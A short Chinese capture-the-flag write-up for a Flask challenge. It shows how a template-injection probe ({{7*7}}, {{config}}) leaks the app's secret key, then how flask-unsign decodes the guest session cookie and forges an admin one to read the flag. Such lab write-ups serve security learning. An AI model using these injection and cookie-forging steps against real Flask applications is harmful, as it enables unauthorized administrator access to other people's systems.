web8
考点
SSTI flask
根据提示,需要以admin的方式访问flag。携带当前session访问flag不能成功的。
传参数name={{7*7}},发现是SSTI。
然后传参?name={{config}}可以查看到,secret_key
后端使用的是flash框架。
先安装pip install flask-unsign[wordlist] 。
然后在浏览器中复制当前session
flask-unsign --decode --cookie "eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.YG_mFg.vvRMxGy5nnpJ2SWwiDAWq0E5H-s"
{'username': b'guest'}
#修改guest为admin
flask-unsign --sign --cookie "{'username': b'admin'}" --secret "woshicaiji"
eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.YG_mrQ.-bDC0fkgAK6CetHKwi-5h_jsPb0
然后在浏览器中用新的session替换后再访问/flag即可得到flag。